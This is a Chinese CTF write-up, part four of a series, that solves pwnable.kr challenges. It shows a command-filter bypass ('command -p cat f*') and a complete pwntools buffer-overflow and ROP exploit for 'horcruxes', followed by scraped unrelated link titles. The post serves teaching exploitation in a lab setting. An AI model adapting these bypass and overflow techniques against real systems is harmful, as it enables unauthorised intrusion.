本文原创作者:萌新

前情提要:

萌新带你开车上p站(一)

萌新带你开车上p站(二)

萌新带你开车上P站(三)

回顾一下前篇,我们开始新的内容吧

0x12


登录后看源码

通读程序,逻辑是这样子的:

输入6个字符,与程序由/dev/urandom随机产生的6个字符对比,通过上图第二个红框的检验,则match自加1,双重for循环结束后如果match=6则打印flag

这里的漏洞在于检验的双重for循环实现时出了问题。

该程序实现的逻辑实际上是对于每个lotto[i]会和输入的每个字符去比较,如果命中则加1

那么我们可以考虑输入的6个字符相同,如果有一个命中,则全部命中。

字符的取值范围知道是在ascii 1-45之间,又我们能输入的只有asci中的可见字符,那满足条件的只有33-45

多试几次即可。

0x13


cmd1

看看源码

在main中可以看到我们输入的参数可以通过调用system执行

但是在传给system执行前,输入的内容会被filter处理

而filter过滤了tmp,flag,sh这些关键字

而且还有一点需要注意的是,我们绕过filter之后,还得注意main中的putenv,它将PATH环境变量设置为了乱七八糟的东西

PATH决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当运行一个程序时,Linux在这些目录下进行搜寻编译链接

修改之后意味着我们要使用命令时需要使用绝对路径,比如要想读flag,正常情况下应该是cat flag,但是现在需要/bin/cat flag

综上,绕过

这里我们用到了通配符*,使用f*匹配flag文件,从而绕过

cmd2

看源码

可以看到比之cmd1,这里过滤了更多的东西

尤其是\

我们当然还可以使用f*来指代flag

但是\的过滤怎么绕过呢

题目给了提示

来看看system函数

可以看到system()实际上是通过execl实现的

查找sh的man

可以看到

使用-p时会可以自动找到path的默认值,而不受程序设置ENV的影响

所以可以考虑使用-p cat,这样就可以自动绕过/

cmd2@ubuntu:~$ ./cmd2 "command -p cat f*"command -p cat f*FuN_w1th_5h3ll_v4riabl3s_haha

0x14  blukat


看源码

从password文件读内容,与我们输入的字符相比,通过比较则打印flag

现在的关键是知道password的内容是什么,我们注意到下图的情况:

从上图可以看到我们这个用户所在的组对password是有读权限的,可是cat的时候却是:

emmm也就是说password本身的内容就是这个

于是执行二进制文件就得到flag了

0x15  horcruxes


没有源码,就给了二进制文件,看来得逆向了

执行后需要输入的地方有两处

下载到本地

可以看到是32位的

上ida

main函数

ropme

红色圈起来的就是我们之前试运行时输入的地方

最下面的else可以看到,当我们的输入和sum值相等时会打印flag

注意到上面有A,B,C,D,E,F,G函数

打开A函数看看

B的

别的都是一样的

可以看到会返回a,b等

这些参数的赋值操作在init_ABCDEFG

可以看到是/dev/urandom产生的随机数配合产生的,而sum的值是综合计算a,b,c等得到的

这里的漏洞在于main中的gets(),没有指定buffer,所以可以尝试溢出

我们希望直接通过溢出buffer来覆盖ropme()函数的return地址

由上图可知buffer起始地址为ebp-0x74,加上原函数ebp地址的长度4个字节,则buffer起始到ropme()的return一共需要0x74+4=120个字节

那么我们构造的思路就是依次打印A.B,,,,G函数返回的值,将其相加,得到sum的确定值,然后返回ropme,将结果作为输入,即可满足条件得到flag

要作为这一点,我们需要知道

1. padding大小,由前可知,120字节

2. 然后拼接A函数的起始地址,来跳转到A执行,然后拼接B的。。。。以此类推

3. 最后要跳转到ropme(),这里要注意,不能直接凭借ropme的地址,因为该地址如下图所示含有\x0a,会被截断,所以要通过拼接main中调用ropme()时的地址

接下来的任务就是找地址了

如图所示一个个找出来并不难,以A为例

以及main中调用ropme的

综上所述,写出exp:

from pwn import *context.log_level='debug'LOCAL = Falseif __name__ == '__main__':if LOCAL:c = process('/home/horcruxes/horcruxes')else:c = remote('0', 9032)msg = c.recvuntil("Menu:")c.sendline('1')msg = c.recv(512)payload = 'A'*0x78payload += p32(0x809fe4b)  # address A()payload += p32(0x809fe6a)  # address B()payload += p32(0x809fe89)  # address C()payload += p32(0x809fea8)  # address D()payload += p32(0x809fec7)  # address E()payload += p32(0x809fee6)  # address F()payload += p32(0x809ff05)  # address G()payload += p32(0x809fffc)  # address main<call ropme>c.sendline(payload)sum = 0c.recvline()for i in range(7):s = c.recvline()n = int(s.strip('\n').split('+')[1][:-1])sum += nprint "Result: " + str(sum)c.recvuntil("Menu:")c.sendline("1")c.recvuntil(" : ")c.sendline(str(sum))log.success("Flag: " + c.recvline())

未完待续!

操作推荐--逆向破解-CrackMe系列

http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182016031814360300001

萌新带你开车上p站(Ⅳ)相关推荐

  1. 萌新带你开车上p站(二)

    本文作者:萌新 前情提要:萌新带你开车上p站(一) 0x04flag  看题目描述似乎是一个和脱壳相关的逆向题目 按照给出的地址先下载过来 file看看 是个可执行文件 执行之 emm什么都看不出来, ...

  2. 萌新带你开车上p站(完结篇)

    本文原创作者:萌新 前情提要: 萌新带你开车上p站(一) 萌新带你开车上p站(二) 萌新带你开车上P站(三) 萌新带你开车上P站(IV) 回顾一下前篇,我们开始新的内容吧 0x16memcpy 源码在 ...

  3. 萌新带你开车上p站(三)

    本文原创作者:萌新 前情提要: 萌新带你开车上p站(一) 萌新带你开车上p站(二) 0x08 题目给的提示是和运算符优先级有关 登录后直接看源码 mistake@pwnable:~$ lsflag m ...

  4. 萌新带你开车上p站(一)

    原创作者:萌新 0x01前言 这一系列文章为pwnable.krToddlr's Bottle的全部题解,其中有三道题目相对而言稍难或者说比较经典,单独成篇,其他题目的题解放在一起发出来. 本文涉及知 ...

  5. 萌新带你开车上p站(终极番外)

    本文由"合天智汇"公众号首发,作者:萌新 0x01前言 这关其实和pwn关系不大,主要考察的都是linux下一些函数的操作,考察linux的基本功.涉及到的知识点包括一些经典的函数 ...

  6. 萌新带你开车上p站(番外篇)

    前言 这道题目应该是pwnable.kr上Toddler's Bottle最难的题目了,涉及到相对比较难的堆利用的问题,所以拿出来分析. 登录 看看源程序 程序中有几点要注意的地方: 1. 定义的OB ...

  7. 萌新学习Python爬取B站弹幕+R语言分词demo说明

    代码地址如下: http://www.demodashi.com/demo/11578.html 一.写在前面 之前在简书首页看到了Python爬虫的介绍,于是就想着爬取B站弹幕并绘制词云,因此有了这 ...

  8. 【新手宝典】一篇博文带萌新建站并了解建站体系流程和对萌新友好的便捷方式,这篇博文很有可能是你的启蒙文

    前言 本片博文主要面向于还没接触过web开发的萌新,以及想知道整体流程并且完成建站的萌新:如果你是个大佬,就没必要看下去了. 本篇博文没有难啃的骨头,请各位萌新放心食用. 本篇博文采用通俗易懂的方式讲 ...

  9. 萌新卷妹带你逃出算法无名岛第五站

    萌新卷妹带你逃出算法无名岛第五站

最新文章

  1. 近期活动盘点:基于雷达图像预测未来降水参赛经验分享、智慧政府讲座、金融AI思享会、数据法学研讨会(11.29-11.30)
  2. UDP通讯C++实现
  3. 【译】史上最强的vimrc文件
  4. TCP三次握手(建立连接)/四次挥手(关闭连接)
  5. dp问题 -挑战例题 2017-7-24
  6. get metadata in QHD - still has cache logic
  7. 渗透测试入门DVWA 教程1:环境搭建
  8. nuxt解决首屏加载慢问题_一个 Node 脚本让你的前端项目加载速度飞起来
  9. python r语言 作图_生物医学绘图,Python 并不比R语言差
  10. edge浏览器怎么设置activex_微软在新Edge浏览器中拒绝了ActiveX插件技术
  11. JS案例:使用对象、对象数组、正则表达式
  12. 修改windows cmd f2快捷_解放你的右手,实测12个超好用的自带快捷键
  13. 洛谷 P1426 小鱼会有危险吗(C语言)
  14. 动手学深度学习Pytorch Task01
  15. 2022谷粒学院BUG记录
  16. 8.input设备(input子系统)驱动
  17. 数据库敏感数据加密技术
  18. ​以太网的发展历史、演化过程以及工作基理
  19. 记录解决流氓软件无法删除-被资源管理器打开以及被xx程序打开导致无法删除
  20. Linux编辑grldr文件,使用syslinux完美引导GRLDR。

热门文章

  1. 6道常见Linux运维面试题讲解!
  2. quartz动态增删改查
  3. roslaunch多文件及顺序控制启动
  4. 计算机启动后有微软标志但不能进入桌面,电脑开机后进不了桌面,教您电脑开机后无法进入桌面怎么办...
  5. 液晶屏 -- 驱动板 -- 屏线 -- 高压条 -- LVDS接口知识
  6. bootstrap model弹出框的使用
  7. [ Python ] 随机生成浏览器UA标识-依赖 Fake-Useragent 库
  8. Elasticsearch各个版本重要特性
  9. 集成聚类之EAC方法
  10. 笔记本电脑自动开机关机